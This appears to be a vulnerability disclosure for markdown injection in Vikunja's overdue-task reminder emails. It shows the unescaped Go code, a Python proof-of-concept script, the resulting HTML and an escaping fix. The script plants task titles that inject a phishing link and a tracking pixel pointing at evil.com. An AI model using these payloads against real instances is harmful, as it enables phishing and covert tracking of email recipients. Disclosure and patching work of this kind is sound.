Python CVE-2026-35600

overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": 'test](https://evil.com) [Click to verify your account',
    "due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": '![](https://evil.com/track.png?user=bob)',
    "due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
    "email_reminders_enabled": True,
    "overdue_tasks_reminders_enabled": True,
    "overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the email

<li>
  <a href="https://evil.com">test</a>
  <a href="http://vikunja.example/tasks/5">Click to verify your account</a>
  (Shared), since one day
</li>
<li>
  <a href="http://vikunja.example/tasks/6">
    <img src="https://evil.com/track.png?user=bob">
  </a>
  (Shared), since one day
</li>

func escapeMarkdown(s string) string {
    replacer := strings.NewReplacer(
        "[", "\\[", "]", "\\]",
        "(", "\\(", ")", "\\)",
        "!", "\\!", "`", "\\`",
        "*", "\\*", "_", "\\_",
        "#", "\\#",
    )
    return replacer.Replace(s)
}